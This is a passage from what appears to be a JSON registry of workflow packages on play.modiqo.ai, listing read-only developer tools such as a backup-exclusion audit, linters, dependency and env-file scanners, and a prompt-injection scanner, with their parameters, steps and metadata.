credentials, no network, no sudo anywhere in this play, ever; write-shaped calls (tmutil addexclusion/removeexclusion, xattr -w/-d, defaults write) do not appear anywhere in it -- this play never sets or removes an exclusion on any real path it discovers on its own; its own live-bed proof of sticky-xattr detection sets that attribute only on a scratch directory it creates and deletes for the purpose. Every helper call is bounded by a timeout, though, and a call that overruns it IS terminated (Python enforces a subprocess timeout by killing the child) -- that termination only ever degrades the one call, or every path in one tmutil batch, to a labeled unknown row, never the whole step, and it is only ever aimed at a helper process this play itself spawned and is still waiting on. Needs only python3; on macOS it also consults tmutil, xattr, and defaults, none of them with sudo; on Linux none of the three exist and none are invoked.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-security","job-backup-audit","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-security","author":"Sunzeyu06","version":"0.1.1","published_at":"2026-09-04T17:19:44.620073+00:00","visibility":"public","quality_score":1,"size_bytes":25415,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["discover_paths","check_exclusions"]},"parameters":[{"name":"base_dir","type":"string","required":false,"default":"~/Documents","description":"Folder to sweep for project directories. Tilde expands to your home directory; relative paths resolve against the run workspace, so prefer absolute paths.","example":"~/Documents"},{"name":"max_depth","type":"integer","required":false,"default":"2","description":"How many directory levels below base_dir to search for project directories (1-4), tmutil per-path calls add up -- keep small.","example":"2"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3414adc5d6a16f8b40d3b7a1408daa0f13963179fed7001fc87d574a4391181e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/nehars-rs/boilerplate-scaffold@0.1.0","reference":"nehars-rs/boilerplate-scaffold@0.1.0","uri":"https://play.modiqo.ai/nehars-rs/boilerplate-scaffold@0.1.0","manifest_uri":"https://play.modiqo.ai/nehars-rs/boilerplate-scaffold@0.1.0","name":"boilerplate-scaffold","title":"boilerplate-scaffold","description":"Scaffolds a new project (Python or Node/TypeScript) with git init, standard structure, config files, and dependency setup","owner":{"kind":"org","slug":"nehars-rs"},"registry_organization":"nehars-rs","tags":["scaffolding","boilerplate","developer-tools"],"primary_domain":"domain-uncategorized","author":"Nehars Rs","version":"0.1.0","published_at":"2026-09-04T16:54:39.777922+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3622,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["scaffold_node","scaffold_python"]},"parameters":[{"name":"stack","type":"string","required":true,"description":"Which stack to scaffold: \"python\" or \"node\""},{"name":"project_name","type":"string","required":true,"description":"Name for the new project (used as the directory name)"},{"name":"target_parent_dir","type":"string","required":true,"description":"Absolute path to the parent directory where the project folder will be created"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:99aace471abbc939f8ddaed550a72e3913581e54c57120bdc397579ae5f44ca6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/calmerdev/engineering-work-triage@0.1.1","reference":"calmerdev/engineering-work-triage@0.1.1","uri":"https://play.modiqo.ai/calmerdev/engineering-work-triage@0.1.1","manifest_uri":"https://play.modiqo.ai/calmerdev/engineering-work-triage@0.1.1","name":"engineering-work-triage","title":"engineering-work-triage","description":"Consolidates sanitized QA, PR, deadline, unfinished-work, and CI signals into prioritized engineering workstreams.","owner":{"kind":"user","slug":"calmerdev"},"registry_organization":"calmerdev","tags":["engineering","triage","local-only"],"primary_domain":"domain-uncategorized","author":"local","version":"0.1.1","published_at":"2026-09-04T16:17:35.703897+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":5509,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["triage"]},"parameters":[{"name":"qa_signals","type":"string","required":true,"description":"Sanitized QA or test failures, symptoms, and reproduction notes."},{"name":"pr_signals","type":"string","required":true,"description":"Sanitized pull-request or review feedback."},{"name":"deadlines","type":"string","required":true,"description":"Sanitized delivery deadlines and their urgency."},{"name":"unfinished_work","type":"string","required":true,"description":"Sanitized prior investigation notes, blockers, or incomplete work."},{"name":"ci_status","type":"string","required":true,"description":"Sanitized CI or build status."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8c0f4073772fa7bee2a79ce5aab50ab2f5dd3f4c6fffb893eb83a06801d21b8f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/khushithakor/pdf-to-exam-study-guide@0.2.0","reference":"khushithakor/pdf-to-exam-study-guide@0.2.0","uri":"https://play.modiqo.ai/khushithakor/pdf-to-exam-study-guide@0.2.0","manifest_uri":"https://play.modiqo.ai/khushithakor/pdf-to-exam-study-guide@0.2.0","name":"pdf-to-exam-study-guide","title":"pdf-to-exam-study-guide","description":"Turns a college unit PDF into a validated, source-traceable exam study guide with notes, flashcards, practice questions, and an exam plan.","owner":{"kind":"user","slug":"khushithakor"},"registry_organization":"khushithakor","tags":["study-guide","pdf","education","exam-preparation"],"primary_domain":"domain-uncategorized","author":"Khushithakor0709","version":"0.2.0","published_at":"2026-09-04T15:02:47.74583+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":38575,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":10,"names":["inspect_pdf","active_recall","clean_segment","exam_strategy","extract_pages","quality_check","section_notes","assemble_guide","validate_output","concepts_objectives"]},"parameters":[{"name":"input_pdf","type":"string","required":true,"description":"Absolute path to the college unit PDF"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c9621ca914be78a3200bbf0cabcc43ed034a40c33e903ef4ff993d4a9d50674d","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":10,"width":1,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ranger-jay/dont-forget@0.1.0","reference":"ranger-jay/dont-forget@0.1.0","uri":"https://play.modiqo.ai/ranger-jay/dont-forget@0.1.0","manifest_uri":"https://play.modiqo.ai/ranger-jay/dont-forget@0.1.0","name":"dont-forget","title":"dont-forget","description":"Evidence-only obligation brief joining read-only Gmail and Google Calendar","owner":{"kind":"user","slug":"ranger-jay"},"registry_organization":"ranger-jay","tags":["obligations","gmail","calendar","read-only","deduplication","suppression"],"primary_domain":"domain-uncategorized","author":"ranger-jay","version":"0.1.0","published_at":"2026-09-04T14:55:45.276964+00:00","visibility":"public","quality_score":1,"size_bytes":5724,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["gmail_auth","calendar_auth","gmail_messages","calendar_events","validate_inputs","classify_obligations"]},"parameters":[{"name":"gmail_query","type":"string","required":false,"default":"newer_than:30d"},{"name":"calendar_start","type":"string","required":false,"default":"2026-09-04T00:00:00Z"},{"name":"calendar_end","type":"string","required":false,"default":"2026-09-11T00:00:00Z"},{"name":"max_items","type":"integer","required":false,"default":10},{"name":"include_watch","type":"boolean","required":false,"default":false}],"execution":{"adapters":[{"id":"modiqo/calendar","name":"calendar","version":null,"credential_status":"required"},{"id":"modiqo/gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"calendar","name":"calendar","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3b16d6327f5ca1e8007139b9f857a957b14700b208c909522e56f0941972b1ff","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":2,"shell":2,"browser":0,"auth":2,"other":0},"distinct_kinds":2,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":12,"apis":[{"adapter":"calendar","steps":2,"methods":["calendar.events.list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/calendar","version":"0.0.4","protocol":null,"credentials":[]},{"adapter":"gmail","steps":2,"methods":["gmail.users.messages.list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/gmail","version":"0.0.3","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/ranger-jay/free-scholarship-money@0.1.1","reference":"ranger-jay/free-scholarship-money@0.1.1","uri":"https://play.modiqo.ai/ranger-jay/free-scholarship-money@0.1.1","manifest_uri":"https://play.modiqo.ai/ranger-jay/free-scholarship-money@0.1.1","name":"free-scholarship-money","title":"free-scholarship-money","description":"Find legitimate scholarship money matched by home state, study state, and study level","owner":{"kind":"user","slug":"ranger-jay"},"registry_organization":"ranger-jay","tags":["effect-read-only","funding","scholarships","public-data","typescript"],"primary_domain":"domain-uncategorized","author":"ranger-jay","version":"0.1.1","published_at":"2026-09-04T14:39:36.709914+00:00","visibility":"public","quality_score":1,"size_bytes":5848,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["search_and_rank","validate_profile"]},"parameters":[{"name":"home_state","type":"string","required":true},{"name":"school_or_target_state","type":"string","required":true},{"name":"study_level","type":"string","required":true},{"name":"major_or_field","type":"string","required":false,"default":""},{"name":"max_results","type":"integer","required":false,"default":15}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:27f92ee66671d93ebcc58c8a1d501f2d7021a481da7d8e67543ee3a7e140ac2a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/json-sweep@0.1.0","reference":"bhanu82/json-sweep@0.1.0","uri":"https://play.modiqo.ai/bhanu82/json-sweep@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/json-sweep@0.1.0","name":"json-sweep","title":"json-sweep","description":"One malformed JSON file breaks the build nobody watches. Sweeps worktree JSON files for syntax errors with exact line and column. Skips counted, never silent. Zero keys, python3 stdlib only.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-config-hygiene","audience-developers","json","pre-commit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T14:38:57.208219+00:00","visibility":"public","quality_score":1,"size_bytes":4267,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["sweep_json"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Absolute path of the worktree; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"max_files","type":"integer","required":false,"default":"500","description":"Maximum JSON files checked","example":"200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2a62eec4dd555fb79977e0cbb3e90ca3ad236371c0919eb3d6e95fc515022008","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/unused-import-scan@0.1.0","reference":"bhanu82/unused-import-scan@0.1.0","uri":"https://play.modiqo.ai/bhanu82/unused-import-scan@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/unused-import-scan@0.1.0","name":"unused-import-scan","title":"unused-import-scan","description":"Every unused import is tokens paid on every read. Pre-commit scan of Python files with stdlib ast: per-file per-line unused imports, respecting re-exports, __all__, and noqa. Zero keys, python3 stdlib only.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-import-hygiene","audience-developers","token-efficiency","pre-commit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T14:11:33.946177+00:00","visibility":"public","quality_score":1,"size_bytes":5120,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["scan_imports"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Absolute path of the worktree; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"max_files","type":"integer","required":false,"default":"500","description":"Maximum Python files checked","example":"200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8a500fb4d435f82c36e393cfbee2a52329684647b7d2ef1747448e086c688281","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/changelog-tag-guard@0.1.0","reference":"bhanu82/changelog-tag-guard@0.1.0","uri":"https://play.modiqo.ai/bhanu82/changelog-tag-guard@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/changelog-tag-guard@0.1.0","name":"changelog-tag-guard","title":"changelog-tag-guard","description":"Does the CHANGELOG describe what the tags shipped? Cross-checks git tags against CHANGELOG entries before release; untracked tags are DRIFT, missing evidence INDETERMINATE. Release-gate habit, read-only, zero keys; needs only python3 and git.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-release-hygiene","audience-developers","changelog","release-gate"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T13:54:57.536451+00:00","visibility":"public","quality_score":1,"size_bytes":4517,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["check_changelog"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute path of the git repository; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"max_tags","type":"integer","required":false,"default":"30","description":"Most recent tags checked (1-100)","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ea01c3003802ea46ff9941b367ba185ad79490efbf4c1ea779a1858167aa30e1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/skill-trigger-collisions@0.1.1","reference":"himanshu-jha/skill-trigger-collisions@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/skill-trigger-collisions@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/skill-trigger-collisions@0.1.1","name":"skill-trigger-collisions","title":"skill-trigger-collisions","description":"Finds active agent skills whose descriptions compete for the same prompt. It reads user skill directories, exact Claude plugin install paths that are both installed and enabled, and optional project skill directories; it deliberately ignores marketplace source trees and disabled plugins. Trigger tokens are Unicode and punctuation normalized, then weighted by inverse document frequency so common vocabulary does not dominate. Duplicate names are reported separately. An unreadable skill, missing description, unresolved plugin activation state, or bounded scan is evidence that the comparison is incomplete, never a clean result. Read-only: it reads local skill manifests and writes nothing.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-agent-operations","job-skill-selection","tool-agent-skills","diagnostics","composition"],"primary_domain":"domain-agent-operations","author":"himanshu748","version":"0.1.1","published_at":"2026-09-04T13:30:24.251634+00:00","visibility":"public","quality_score":1,"size_bytes":12409,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["report","survey","overlap"]},"parameters":[{"name":"min_shared","type":"string","required":false,"default":"4","description":"How many trigger words two descriptions must share before the pair is reported at all. Lower values surface more pairs and more noise with them.","example":"4"},{"name":"top","type":"string","required":false,"default":"60","description":"Most pairs to carry into the report. Anything beyond this is counted but not listed.","example":"60"},{"name":"project_root","type":"string","required":false,"default":"","description":"Optional project root whose .claude, .agents, and .codex skill directories should join the active user inventory.","example":"/path/to/project"},{"name":"scan_limit","type":"string","required":false,"default":"2000","description":"Maximum active skill files to classify. Hitting it marks the result INCOMPLETE.","example":"2000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:798fea73923f4d1fffd180e6993a72a9552734687986eed960d460a84d951714","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajtiwari/env-drift-radar@0.1.0","reference":"rajtiwari/env-drift-radar@0.1.0","uri":"https://play.modiqo.ai/rajtiwari/env-drift-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/rajtiwari/env-drift-radar@0.1.0","name":"env-drift-radar","title":"env-drift-radar","description":"Environment configuration auditor and .env.example synchronization radar. Compares active .env files against .env.example templates and codebase variable references (process.env, os.environ). Identifies missing production keys, detects accidental secret leaks in example files, and generates a clean, synchronized .env.example.","owner":{"kind":"user","slug":"rajtiwari"},"registry_organization":"rajtiwari","tags":["env","configuration","dotenv","security","secrets","developer-tools","auditing"],"primary_domain":"domain-uncategorized","author":"rajtiwari","version":"0.1.0","published_at":"2026-09-04T13:30:23.027862+00:00","visibility":"public","quality_score":1,"size_bytes":6386,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["env_parser","env_discoverer","code_env_scanner","sync_synthesizer","secret_leak_detector"]},"parameters":[{"name":"project_dir","type":"string","required":false,"default":".","description":"Target directory containing .env files and source code (default is current directory)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4a0f0505db79624faf7864b29172bd44d7046c203ffbc9c704155ce65053f0d9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajtiwari/dep-drift-scout@0.1.0","reference":"rajtiwari/dep-drift-scout@0.1.0","uri":"https://play.modiqo.ai/rajtiwari/dep-drift-scout@0.1.0","manifest_uri":"https://play.modiqo.ai/rajtiwari/dep-drift-scout@0.1.0","name":"dep-drift-scout","title":"dep-drift-scout","description":"Universal dependency health, vulnerability, and drift scanner. Inspects Node (package.json), Python (requirements.txt / pyproject.toml), Rust (Cargo.toml), and Go (go.mod). Queries public advisory feeds for known CVEs, scores dependency health from A to F, and emits actionable upgrade commands.","owner":{"kind":"user","slug":"rajtiwari"},"registry_organization":"rajtiwari","tags":["dependencies","security","cve","audit","vulnerability","developer-tools","packages"],"primary_domain":"domain-uncategorized","author":"rajtiwari","version":"0.1.0","published_at":"2026-09-04T13:27:49.939916+00:00","visibility":"public","quality_score":1,"size_bytes":6981,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["dep_extractor","security_scout","drift_evaluator","manifest_detect","health_synthesizer"]},"parameters":[{"name":"project_dir","type":"string","required":false,"default":".","description":"Target project directory containing dependency manifests (default is current directory)"},{"name":"ecosystem","type":"string","required":false,"default":"auto","description":"Ecosystem override (auto, npm, pip, cargo, go)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9df4122d939773e573ee63dc4a6a1bf155b0df264278dfd24ebe93e735082dad","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5},{"name":"api.github.com","kind":"host","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/commit-message-lint@0.1.0","reference":"bhanu82/commit-message-lint@0.1.0","uri":"https://play.modiqo.ai/bhanu82/commit-message-lint@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/commit-message-lint@0.1.0","name":"commit-message-lint","title":"commit-message-lint","description":"Do your commit messages follow the convention your tooling expects? Grades recent git history against Conventional Commits shape and records breaking markers. Every-push habit, read-only, zero keys; needs only python3 and git.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-commit-hygiene","audience-developers","git","daily-habit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T13:19:50.923018+00:00","visibility":"public","quality_score":1,"size_bytes":5197,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["lint_commits"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute path of the git repository; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"max_commits","type":"integer","required":false,"default":"20","description":"Recent commits graded (1-100)","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:addbaf33030f25b9dbd5c804b42cd477a5217e3ba3a5828983bb9e988ce47304","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajtiwari/pr-preflight-radar@0.1.0","reference":"rajtiwari/pr-preflight-radar@0.1.0","uri":"https://play.modiqo.ai/rajtiwari/pr-preflight-radar@0.1.0","manifest_uri":"https://play.modiqo.ai/rajtiwari/pr-preflight-radar@0.1.0","name":"pr-preflight-radar","title":"pr-preflight-radar","description":"Pre-flight sanity & readiness radar for Git branches and Pull Requests. Discovers changed files against the base branch, scans diffs for leaked secrets, detects leftover debuggers, console logs, merge conflict markers, test isolation skips, and lingering TODOs, computes change complexity metrics, and synthesizes a formatted, ready-to-paste PR description.","owner":{"kind":"user","slug":"rajtiwari"},"registry_organization":"rajtiwari","tags":["git","pull-request","code-hygiene","preflight","developer-tools","security","code-review"],"primary_domain":"domain-uncategorized","author":"rajtiwari","version":"0.1.0","published_at":"2026-09-04T13:09:26.735285+00:00","visibility":"public","quality_score":1,"size_bytes":9826,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["git_context","diff_metrics","hygiene_radar","secrets_radar","pr_synthesizer"]},"parameters":[{"name":"target_dir","type":"string","required":false,"default":".","description":"Target Git repository directory (default is current working directory)"},{"name":"base_branch","type":"string","required":false,"default":"auto","description":"Base branch or ref to compare against (auto-detects main/master/upstream)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e65256ae678764691b4a9dcdb02be12d30d9fa83a53932877c9b1eb8315a58cc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shashankinguva/hidden-prompt-injection-scan@0.1.0","reference":"shashankinguva/hidden-prompt-injection-scan@0.1.0","uri":"https://play.modiqo.ai/shashankinguva/hidden-prompt-injection-scan@0.1.0","manifest_uri":"https://play.modiqo.ai/shashankinguva/hidden-prompt-injection-scan@0.1.0","name":"hidden-prompt-injection-scan","title":"hidden-prompt-injection-scan","description":"Fetches raw static HTML (no JS execution) for one or more URLs and flags hidden/invisible prompt-injection payloads using fixed deterministic detectors and a fixed severity rule table, emitting a single Markdown 